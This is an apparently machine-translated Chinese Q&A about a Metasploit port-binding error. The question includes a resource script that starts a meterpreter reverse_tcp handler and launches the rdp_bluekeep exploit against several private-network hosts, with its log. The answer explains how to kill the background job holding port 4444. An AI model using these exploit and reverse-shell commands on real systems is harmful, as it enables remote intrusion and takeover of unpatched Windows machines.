Rex::BindFailed地址已在使用或不可用

Question

我正在尝试基于这个博客运行以下脚本。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
setg autorunscript multi_console_command -rc /root/Desktop/folder/met_cmd_file 
setg lhost 192.168.0.90    
setg lport 4444
set ExitOnSession false 
exploit -j
use exploit/windows/rdp/rdp_bluekeep
set EXITFUNC thread
exploit -j

然而，我得到了这些错误：

[*] Started reverse TCP handler on 192.168.0.90:4444 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
resource (/root/Desktop/folder/con_cmd_file)> set EXITFUNC thread
EXITFUNC => thread
resource (/root/Desktop/folder/con_cmd_file)> exploit -j
[-] Exploit failed: One or more options failed to validate: RHOST.
[*] Exploit completed, but no session was created.
rhost => 192.168.0.40
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
rhost => 192.168.0.50
[-] Handler failed to bind to 192.168.0.90:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
rhost => 192.168.0.70
[-] Handler failed to bind to 192.168.0.90:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
rhost => 192.168.0.80
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.
[-] Handler failed to bind to 192.168.0.90:4444:-  -

[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[-] Handler failed to bind to 192.168.0.90:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).

我已经尝试了建议的这里，通过这样做：

netstat -anpl | grep :4444
tcp        0      0 192.168.0.90:4444       0.0.0.0:*               LISTEN      1741/ruby

在运行以下命令时，我一无所获：

  netstat -anpl | grep :4445

但是，无论我使用4444还是4445，结果都是一样的。

运行jobs显示：

0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.0.90:4444

但我怎么能杀了这份工作？怎么解决这个问题呢？

Answer 1

0漏洞:多/处理程序windows/x64/meterpreter/反向tcp_ tcp://192.168.0.90:4444

您有一个现有的“作业”(在后台运行的命令)，即端口4444。要杀死它，运行kill X，其中X是作业的ID，在本例中是0。因此，您必须运行kill 0来阻止它。

netstat -anpl | grep :4445没有显示任何结果，因为端口可能没有被使用。使用中的是4444港。